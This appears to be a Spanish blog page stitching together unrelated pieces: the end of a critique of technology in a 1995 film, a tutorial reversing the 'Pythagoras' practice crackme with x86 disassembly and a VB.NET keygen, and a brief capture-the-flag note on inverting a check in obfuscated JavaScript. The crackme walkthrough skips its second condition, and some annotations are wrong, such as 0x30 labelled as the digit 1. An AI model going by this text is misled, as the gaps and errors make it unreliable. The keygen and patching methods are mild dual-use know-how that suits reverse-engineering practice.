En el caso del archivo AVI, los personajes deciden que no se puede gestionar digitalmente y optan por convertirlo a vídeo analógico, ignorando soluciones más simples como volver a enviarlo por correo electrónico (suponiendo que fuera posible). Este detalle, combinado con la ausencia aparente de personal técnico en la policía, subraya una desconexión entre la narrativa y las capacidades reales de la tecnología, incluso para 1995.
Aunque estos detalles pueden parecer cómicos 30 años después, forman parte del encanto de un cine que imaginaba el futuro sin comprender del todo su presente. Más que errores, son un recordatorio de cómo la tecnología ha evolucionado y de cómo nuestra percepción de ella también lo ha hecho.
Hoy tenemos aquí un bonito crackme matemático realizado por Spider. El crackme está realizado en ensamblador y precisamente por eso, vamos a tener que lidiar con ciertas peculiaridades al realizar el keygen con un lenguaje de bajo nivel.
Al inicio comprueba la longitud del nombre y de el número de serie. El nombre debe tener al menos 6 caracteres y el número de serie debe tener 10. Os adelanto ya que la asignación de memoria del nombre es de 9 caracteres, es decir, da igual la longitud del nombre que solo va a usar 9.
Sabiendo esto introducimos Nombre: deurus y Serial: 1234567890
A continuación chequea que nuestro serial tenga caracteres hexadecimales.
004014DA | 8A 81 D9 31 40 00 | mov al,byte ptr ds:[ecx+4031D9] | ; ecx+004031D9:"1234567890"
004014E0 | 3C 00 | cmp al,0 | ; contador del bucle
004014E2 | 74 1F | je pythagoras.401503 | ; fin del bucle
004014E4 | 3C 30 | cmp al,30 | ; 0x30 = número 1
004014E6 | 0F 82 D2 00 00 00 | jb pythagoras.4015BE | ; < 30 bad boy
004014EC | 3C 46 | cmp al,46 | ; 0x46 = letra F
004014EE | 0F 87 CA 00 00 00 | ja pythagoras.4015BE | ; > 46 bad boy
004014F4 | 3C 39 | cmp al,39 | ; 0x39 = número 9
004014F6 | 76 08 | jbe pythagoras.401500 | ; <=39 ok continua el bucle
004014F8 | 3C 41 | cmp al,41 | ; 0x41 = letra A
004014FA | 0F 82 BE 00 00 00 | jb pythagoras.4015BE | ; <41 bad boy
00401500 | 41 | inc ecx | ; contador += 1
00401501 | EB D7 | jmp pythagoras.4014DA | ; bucle
Continua realizando un sumatorio con nuestro nombre, pero tenemos que tener especial cuidado al tratamiento de los datos, ya que el crackme al estar hecho en ensamblador puede jugar con los registros como quiere y eso nos puede inducir a error.
0040150B | 3C 00 | cmp al,0 | ; ¿Fin bucle?
0040150D | 74 05 | je pythagoras.401514 | ; Salta fuera del bucle si procede
0040150F | 02 D8 | add bl,al | ; bl = bl + al
00401511 | 41 | inc ecx | ; contador +=1
00401512 | EB F1 | jmp pythagoras.401505 | ; bucle
Si os fijáis utiliza registros de 8 bits como son AL y BL. Debajo os dejo una explicación de EAX pero para EBX es lo mismo.
EAX
-----------------------------------
AX
-----------------
AH AL
-------- --------
00000000 00000000 00000000 00000000
(8bit) (8bit) (8bit) (8bit)
EAX (32 bit)
--------
AX (16 bit)
----
AHAL (AH y AL 8 bit)
--------
00000000
El uso de registros de 8 bits nos implica tomar precauciones al realizar el Keygen debido a que por ejemplo, en .Net no tenemos la capacidad de decirle que haga una suma y que nos devuelva solamente 8 bits del resultado. Veamos como ejemplo para el nombre «deurus». La suma de los caracteres hexadecimales quedaría:
64+65+75+72+75+73 = 298, es decir, EAX = 00000298
Pero recordad que el crackme solo cogerá el 98 que es lo correspondiente al registro AL. De momento nos quedamos con nuestro SUMNOMBRE = 98.
Primera condición
A continuación coge los dos primeros caracteres del serial y les resta nuestro SUMNOMBRE y comprueba que el resultado esté entre 4 (0x4) y -4 (0xFC).
0040154B | 0F B6 05 F3 31 40 00 | movzx eax,byte ptr ds:[4031F3] |
00401552 | 8A C8 | mov cl,al |
00401554 | 2A CB | sub cl,bl | ; CL = CL - BL | CL = 12 - 98 = 7A
00401556 | 80 F9 04 | cmp cl,4 | ; Compara CL con 4
00401559 | 7F 63 | jg pythagoras.4015BE | ; Salta si es mayor
0040155B | 80 F9 FC | cmp cl,FC | ; Compara CL con FC (-4)
0040155E | 7C 5E | jl pythagoras.4015BE | ; Salta si es menor
Como veis, el resultado de la resta da 7A (122) que al ser mayor que 4 nos echa vilmente. Aquí de nuevo utiliza registros de 8 bits por lo que debemos tener cuidado con las operaciones matemáticas para no cometer errores, veamos un ejemplo para clarificar de aquí en adelante.
Utilizando 8 bits
-----------------
12 - 98 = 7A que en decimal es 122
Utilizando 16 bits
------------------
0012 - 0098 = FF7A que en decimal es -134
Ahora ya veis la diferencia entre FC (252) y FFFC (-4). Estrictamente, el crackme comprueba el rango entre 4 (4) y FC (122) al trabajar con registros de 8 bits pero nosotros, como veremos más adelante tomaremos el rango entre 4 y -4. De momento, para poder continuar depurando cambiamos los dos primeros caracteres del serial de 12 a 98, ya que 98 – 98 = 0 y cumple la condición anterior.
Si el resultado del XOR no es cero nuestro serial no pasa la comprobación.
Es decir, Pitágoras entra en escena -> 7890² = 98² + 3456²
Serial = aabbbbcccc
Tercera condición
Finalmente comprueba lo siguiente:
0040157C | 66 A1 F6 31 40 00 | mov ax,word ptr ds:[4031F6] | ; AX = 7890
00401582 | 66 2B 05 F4 31 40 00 | sub ax,word ptr ds:[4031F4] | ; AX = 7890 - 3456 = 443A
00401589 | 2C 08 | sub al,8 | ; AL = 3A - 8 = 32
0040158B | 75 31 | jne pythagoras.4015BE | ; Si el resultado de la resta no ha sido cero, serial no válido
0040158D | 6A 30 | push 30 |
0040158F | 68 B0 31 40 00 | push pythagoras.4031B0 | ;004031B0:":-) Well done!!!"
00401594 | 68 7F 31 40 00 | push pythagoras.40317F | ;0040317F:"Bravo, hai trovato il seriale di questo CrackMe!"
00401599 | FF 75 08 | push dword ptr ds:[ebp+8] |
En resumen:
7890 – 3456 – 8 = 0
Creación del Keygen
Nuestro serial tiene que cumplir tres condiciones para ser válido.
a – SUMNOMBRE debe estar entre 4 y -4
c² = a² + b²
c – b – 8 = 0
Como hemos dicho anteriormente, tomaremos el SUMNOMBRE y le sumaremos y restaremos valores siempre y cuando el resultado esté entre 4 y -4. Para deurus hemos dicho que el SUMNOMBRE es 98 por lo que los posibles valores de «a» se pueden ver debajo. Además debemos tener en cuenta que el crackme solo lee los 9 primeros dígitos del nombre.
Es evidente que para encontrar el valor de «c» vamos a tener que utilizar fuerza bruta chequeando todos los valores de «b» comprendidos entre 0 y FFFF (65535). Además, como trabajaremos en un lenguaje de alto nivel, debemos descartar los resultados decimales. Esto nos limitará los seriales válidos asociados a un determinado nombre. Si realizáramos el keygen en ensamblador obtendríamos bastantes más seriales válidos.
Una vez encontrados los valores enteros de la operación «c² = a² + b²», se debe cumplir que «c – b – 8 = 0», lo que nos limitará bastante los resultados.
Private Sub btn_generar_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btn_generar.Click
Try
If txt_nombre.TextLength > 5 Then
lst_serials.Items.Clear()
Dim tmp, c, cx As String
Dim sumanombre, tmp2 As Integer
If txt_nombre.TextLength > 9 Then tmp2 = 8 Else tmp2 = txt_nombre.TextLength - 1
'Calculo el SUMNOMBRE
For i = 0 To tmp2
sumanombre += Asc(Mid(txt_nombre.Text, i + 1, 1)) 'Acumulo suma
tmp = Strings.Right(Hex(sumanombre).ToString, 2) 'Solo 8 bits (Registro AL)
sumanombre = Val("&H" & tmp) 'Paso a decimal
Next
tmp = Strings.Right(Hex(sumanombre).ToString, 2)
sumanombre = CInt("&H" & tmp)
txtdebug.Text = "- SumNombre = " & Hex(sumanombre) & vbCrLf
txtdebug.Text &= "----------------------------------------------" & vbCrLf
Dim a(8) As Integer
'
'a - sumanombre >=4 y <=4
'
a(0) = sumanombre - 4
a(1) = sumanombre - 3
a(2) = sumanombre - 2
a(3) = sumanombre - 1
a(4) = sumanombre
a(5) = sumanombre + 1
a(6) = sumanombre + 2
a(7) = sumanombre + 3
a(8) = sumanombre + 4
txtdebug.Text &= "- Posibles valores de 'a'" & vbCrLf
For i = 0 To a.Length - 1
txtdebug.Text &= Hex(a(i)) & " "
Next
txtdebug.Text &= "----------------------------------------------" & vbCrLf
txtdebug.Text &= "- Buscando valores de b y c" & vbCrLf
txtdebug.Text &= "Serial = aabbbbcccc" & vbCrLf
'
'c = sqr(a^2 + b^2)
'
txtdebug.Text &= "(1) c = raiz(a^2 + b^2)" & vbCrLf
txtdebug.Text &= "(2) c - b - 8 = 0" & vbCrLf
For i = 0 To a.Length - 1 ' todas las posibilidades de a
For b = 0 To 65535 'b -> 0000 - FFFF
c = Math.Sqrt(a(i) ^ 2 + b ^ 2)
If c.Contains(".") Then 'busco enteros
Else
cx = c - b - 8
cx = Hex(cx).PadLeft(4, "0"c)
lbl_info.Text = cx
If cx = "0000" Then
txtdebug.Text &= " (1) " & Hex(c).PadLeft(4, "0"c) & " = raiz(" & Hex(a(i)).PadLeft(2, "0"c) & "^2 + " & Hex(b).PadLeft(4, "0"c) & "^2)" & vbCrLf
lst_serials.Items.Add(Hex(a(i)).PadLeft(2, "0"c) & Hex(b).PadLeft(4, "0"c) & Hex(c).PadLeft(4, "0"c))
txtdebug.Text &= " (2) " & Hex(c).PadLeft(4, "0"c) & " - " & Hex(b).PadLeft(4, "0"c) & " - 8 = 0" & vbCrLf
End If
End If
Application.DoEvents()
Next
Next
lbl_info.Text = "Búsqueda finalizada"
End If
Catch ex As Exception
MsgBox(ex.ToString)
End Try
Se nos entrega un html con un juego que consiste en hacer clic en un botón tantas veces como podamos para ganar al juego. Acompañando al html tenemos un código javascript ofuscado aparentemente con Obfuscator.io
El código javascript ofuscado tiene el siguiente aspecto.
Deofuscado el código con la web Obfuscator.io llegamos a interpretar la estructura aunque sigue siendo un galimatías en gran parte. Aún así, si nos fijamos al final encontramos una parte interesante con una clave encriptada cuya desencriptación depende de una comparación (línea 13 resaltada). Invirtiendo esa comparación engañamos al código y obtenemos la flag.
